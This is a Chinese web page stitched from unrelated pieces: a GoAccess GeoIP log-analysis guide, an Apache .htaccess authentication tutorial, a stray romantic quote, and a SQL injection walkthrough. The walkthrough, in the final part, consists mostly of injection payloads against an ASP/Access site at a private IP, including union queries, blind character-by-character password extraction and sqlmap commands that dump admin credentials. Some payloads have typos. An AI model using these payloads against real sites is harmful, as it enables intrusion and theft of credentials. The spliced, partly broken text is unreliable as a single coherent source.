象一下,你站在世界地圖前,手中的放大鏡緩緩移動,尋找著那些隱藏在數字海洋中的神秘島嶼——IP地址。
今天,我們要介紹的GoAccess,就是這樣一款能夠將IP地址轉化為全球地理分布的強大工具。
你有沒有想過,當你瀏覽網頁時,你的IP地址就像是一張張明信片,記錄著你的在線行為并發送給網站管理員。而對于網站管理員來說,如何有效分析這些數據,了解訪問者的地理位置分布,就成了一個重要的問題。GoAccess的出現,為這一問題提供了完美的解決方案。
首先,讓我們來看一個實際的案例。假設你擁有一個全球性的電商平臺,每天都有成千上萬的訪客從世界各地涌入。通過GoAccess的數據分析,你可能會驚訝地發現,盡管你的商品在全球范圍內都受歡迎,但某些特定地區在特定時間段內的訪問量遠遠超出了你的預期。
# 輸出到終端且生成一個可交互的報告
goaccess access.log
# 生成一份 HTML 報告
goaccess access.log -a -o report.html
# COMBINED | 聯合日志格式
# VCOMBINED | 支持虛擬主機的聯合日志格式
# COMMON | 通用日志格式
# VCOMMON | 支持虛擬主機的通用日志格式
# W3C | W3C 擴展日志格式
# SQUID | Native Squid 日志格式
# CLOUDFRONT | 亞馬遜 CloudFront Web 分布式系統
# CLOUDSTORAGE | 谷歌云存儲
# AWSELB | 亞馬遜彈性負載均衡
# AWSS3 | 亞馬遜簡單存儲服務 (S3)
# GoAccess 非常靈活,支持實時解析和過濾。例如:需要通過監控實時日志來快速診斷問題:
tail -f access.log | goaccess --log-format=COMBINED -
配置GoAccess以實現地理IP解析并不復雜。首先,你需要從源代碼編譯安裝GoAccess,并啟用地理IP解析支持。這一步驟通過以下命令即可輕松完成:
--enable-geoip=<legacy|mmdb>
Compile with GeoLocation support. MaxMind's GeoIP is required. legacy will utilize the original GeoIP databases. mmdb will utilize the enhanced GeoIP2 databases.
$ git clone https://github.com/allinurl/goaccess.git
$ cd goaccess
$ autoreconf -fi
$ ./configure --enable-utf8 --enable-geoip=mmdb
$ make
# make install
接下來,你需要獲取并配置地理IP數據庫。這里有兩種數據庫可供選擇:標準GeoIP數據庫和GeoIP2數據庫。標準GeoIP數據庫占用內存較少,適合對資源有限制的環境;而GeoIP2數據庫則提供了更為詳盡的地理位置信息。
方式1: 下載標準 GeoIP 數據庫
-g --std-geoip 標準 GeoIP 數據庫,低內存占用
# IPv4 Country database:
# Download the GeoIP.dat.gz
# gunzip GeoIP.dat.gz
#
# IPv4 City database:
# Download the GeoIPCity.dat.gz
# gunzip GeoIPCity.dat.gz
方式2: 下載GeoIP2數據庫-MaxMind
注意: --geoip-city-data 是 --geoip-database 的別名
# For GeoIP2 City database:
# Download the GeoLite2-City.mmdb.gz
# gunzip GeoLite2-City.mmdb.gz
#
# For GeoIP2 Country database:
# Download the GeoLite2-Country.mmdb.gz
# gunzip GeoLite2-Country.mmdb.gz
下載并解壓相應的數據庫文件后,你只需在GoAccess的命令行參數中指定數據庫文件的位置,即可讓工具在分析日志文件時自動將IP地址與地理位置關聯起來。
更多配置請參考官網用戶手冊
注冊并登錄maxmind,可以免費下載離線數據庫.
然后一鍵直達數據庫下載頁面,有很多不同類型的數據庫,選擇GeoLite2 (.mmdb)
最后解壓縮到本地,上傳到服務器某路徑下,接下來就可以讓GoAccess具有解析地理位置的能力啦!
如果不想自己下載數據庫,開箱即用,可以私信「雪之夢技術驛站」評論回復領取!
無論是生成靜態的HTML報告,還是實時更新的HTML報告,都可以通過簡單的命令行操作實現。例如,你可以使用以下命令生成一個包含地理位置信息的靜態HTML報告:
# 靜態HTML報告: 開啟地理位置支持
goaccess access.log -o report.html --log-format=COMBINED --geoip-database=/path/to/GeoLite2-City.mmdb
或者,如果你想實時查看數據,可以使用以下命令生成實時HTML報告:
# 實時HTML報告: 開啟地理位置支持
goaccess access.log -o report.html --log-format=COMBINED --geoip-database=/path/to/GeoLite2-City.mmdb --real-time-html --daemonize
使用GoAccess的地理分析功能,你將能夠直觀地看到訪問者的地理位置分布,這不僅能夠幫助你更好地理解用戶行為,還能夠為你的商業決策提供數據支持。然而,值得注意的是,免費的數據庫文件更新頻率可能較低,這意味著某些IP地址可能無法解析出具體位置。但這并不妨礙我們利用現有數據做出明智的決策。
在這個數據為王的時代,讓我們用GoAccess繪制出屬于你的世界地圖,讓每一次訪問都成為探索的起點,每一次分析都成為成功的基石。開啟你的數據之旅,從這里開始。
這種認證方式其實相當簡單,當WWW瀏覽器請求經此認證模式保護的URL時,將會出現一個對話框,要求用戶鍵入用戶名和口令。用戶輸入后,傳給WWW服務器,WWW服務器驗證它的正確性,如果正確,返回頁面,否則返回401錯誤。要說明的一點是,這種認證模式是基本的,并不能用于安全性要求極高的場合。
Apache中有許多模塊可以支持這種認證方式,下面我們就介紹一下最基本、最標準的mod_auth模塊。正如前面提到的一樣,mod_auth模塊使用存儲在文本文件中的用戶名、組名和口令來實現認證。這種方法非常適合處理少量用戶,它能工作得很好。如果你需要對大量的用戶,比如數以千計的用戶做認證時,這種方法的性能將急劇下降到不可忍受,所以當這種情況下,就需要考慮使用mod_dbm模塊或mod_mysql模塊來獲得更好的性能。
Apache支持在需要限制訪問的目錄下,建立.htaccess文件來實行訪問限制。
添加mime-type定義
允許或拒絕某個主機
AuthUserFile 指令
htpasswd命令:
htpasswd -c /etc/httpd/mypasswd bob
使用htpasswd命令,在密碼文件中添加項目。 —c選項將建立此文件,如果它不存在。
AllowOverride authconfig被用于通過特殊的目錄文件.htaccess指定能超過哪個和怎樣的配置。能通過個別用戶去修改某個Apache配置來建立這此文件,它們將不用修改其他的文件。
本質上任何事能在httpd.conf中配置,使用.htaccess文件去修改。這些文件同httpd.conf有相同的格式,并且放置在此目錄中的渴望的改變將出現在配置中。
大多數普通執行的任務之一在用戶的htaccess文件中添加授權,典型地,一個用戶將為目錄設置授權,用一個配置保持敏感信息,例如:
# sample authentication .htaccess file
AuthName ‘Bob’s Secret stuff’ (定義受保護的領域的名稱)
AuthType basic (定義使用的認證方式,分為basic和digest兩種)
AuthUserFile /home/bob/mypasswd (指定認證口令文件的位置)
require user bob (授權給指定的一個或多個用戶)
用以上.htaccess文件,任一訪問到此目錄存儲這個文件將需要一個用戶名和密碼去處理。特別的,僅用戶bob被允許,即使如果其他用戶在/home/bob/mypasswd文件列表中。注意,你不希望存儲你的密碼文件在一目錄中并可從web存取,如果獲得訪問密碼,它可以被下載和破解。
Option:支持option設定
Authconfig:支持用戶認證
Limit :支持基于主機名的訪問限制
All:包含以上所有內容
⑴ 需要用戶名和口令的訪問控制下面我們就一起來看一下如何建立需要用戶名/口令才能進行訪問的目錄?;厩闆r: http://www.xxx.com/的站點有設置為:
DocumentRoot /home/httpd/html
AccessFileName .htaccess
AllowOverride All
需求:限制/home/httpd/html/backup/目錄的訪問,只允許用戶"super"以口令"fill-06"訪問此目錄。
實現步驟:
使用htpasswd建立用戶文件
htpasswd -c /home/httpd/secr/.htpasswd super
此程序會詢問用戶"super"的口令,你輸入"fill-06",兩次生效。建立.htaccess文件用vi在/home/httpd/html/backup/目錄下建立一個文件.htaccess,寫入以下幾行:
AuthName My Friend Only (注:這個名字是任取的)
AuthType Basic
AuthUserFile /home/httpd/secr/.htpasswd
require user super
設置文件權限,確保Apache用戶有讀的權限這樣就完成了設置工作,你可以試一試效果了。
⑵ 允許一組用戶訪問一個目錄
假設,現在www.xxx.com想讓myfriend組中的mf1與mf2兩個用戶分別能使用口令"mf001-1""mf002-2"訪問/home/httpd/html/backup/目錄。
實現步驟:
使用htpasswd建立用戶文件
htpasswd -c /home/httpd/secr/.htpasswd mf1
htpasswd -c /home/httpd/secr/.htpasswd mf2
建立組文件用vi/home/httpd/secr/目錄下建立一個文件.htgroup,寫入:
myfriend:mf1 mf2
建立.htaccess文件用vi在/home/httpd/html/backup/目錄下建立一個文件.htaccess,寫入以下幾行:
AuthName My Friend Only
AuthType Basic
AuthUserFile /home/httpd/secr/.htpasswd
AuthGroupFile /home/httpd/secr/.htgroup
require group myfriend
配置工作到此結束,試一試吧!
⑶ 混合使用基于主機與基于用戶名/口令的認證方式如果你除了只允許讓mf1與mf2兩個用戶訪問外,還想禁止除www.mot.com外的主機訪問這個目錄的話,就將/home/httpd/html/backup/.htaccess修改成為:
AuthName My Friend Only
AuthType Basic
AuthUserFile /home/httpd/secr/.htpasswd
AuthGroupFile /home/httpd/secr/.htgroup
require group myfriend
order deny,allow
deny from all
allow from http://www.mot.com/
鐘書在《圍成》里寫到:“約著見一面,就能使見面的前后幾天都沾著光,變成好日子”,是啊,只要能見你,雀躍的心情都會被拉得好長好長。感情就是這樣,原則抵不過我樂意,你有你的打算,我有我的目的,因為我喜歡你,我所做的一切都是想跟你在一起。。。
---- 網易云熱評
一、網站分類
1、靜態網頁
html或者htm是靜態頁面,不需要服務器解析其中的腳本
特點:不依賴數據庫,靈活性差,制作、更新、維護麻煩,交互性差,功能受限制,安全,不存在數據庫注入漏洞
2、動態頁面
asp/aspx/php/jsp等,由相應的腳本引擎來解釋執行
特點:以來數據庫,靈活性好、交互性好、不安全,存在數據庫注入漏洞
二、網站訪問流程
三、漏洞產生原因
目標網址:www.aiyou.com/new.php?id=23
1、正常流程數據庫返回給網站new頁面id為23的信息
2、將參數值23修改為其他的sql語句
3、網站未對該指令進行檢測
4、服務器執行了新的語句,并返回給網站
5、客戶端根據返回的信息可以繼續進一步注入
四、sql注入的危害
1、數據庫信息泄露
2、網頁被篡改
3、網頁被掛馬
4、數據庫被惡意操作
5、服務器被遠程控制
6、破快硬盤數據
五、access數據庫
一般配合asp腳本使用,存儲數據不能大于100M,只有一個數據庫名稱,可以創建多個表
1、數據庫后綴:*.mdb
2、asp鏈接access數據庫
<%
dim conn,connstr,db
db="Your.mdb"
Set conn=Server.CreateObject("ADODB.Connection")
connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(db)
conn.Open connstr
%>
3、常用打開工具EasyAccess
4、漏洞判斷
目標:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513
判斷注入點:
http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513/ 報錯,可能存在注入
http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1 返回正常
http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 返回錯誤 存在注入
http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exsits (select * from msysobjects) > 0 判斷access數據庫,根據錯誤提示在msysobjects上沒有讀取數據權限,說明表存在,從而知道是access數據庫
5、查詢access數據空中的表
http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from user) 根據錯誤判斷除滅有user表
http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select * from admin) 正常返回,說明存在admin表
6、判斷列名
http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and exists(select password from admin),正常返回,說明存在列名password
常用用戶名:name username user_name admin adminuser admin_user admin_username adminname
常用密碼名:password pass userpass user_pass pwd userpwd adminpwd admin_pwd
7、判斷表的列數
http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 ,正常返回說明有22列,如果沒有正常繼續修改該數字
8、聯合查詢
http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin,知道admin表一共有22列,所以聯合查詢需要輸入1-22,頁面只顯示3和15,可以修改該兩列獲取想要的數值
六、另一種方法判斷:
1、http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and select len(password) from admin)=16 判斷密碼的長度,返回正常,說明密碼長度為16。
2、 http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=97 判斷密碼的第一位,返回正常,說明密碼的第一位是a
判斷第二位,成功后修改該值,依次判斷剩下的密碼
七、sqlmap工具利用
目標地址:http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513
1、測試是否存在漏洞
sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513"
2、獲取表名
sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513" --tables
3、獲取列名
sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513" --columns -T admin
4、獲取指定列的內容
sqlmap -u "http://192.168.21.136/Production/PRODUCT_DETAIL.asp?id=1513" -T admin -C admin,password --dump
禁止非法,后果自負
歡迎關注公眾號:web安全工具庫
*請認真填寫需求信息,我們會在24小時內與您取得聯系。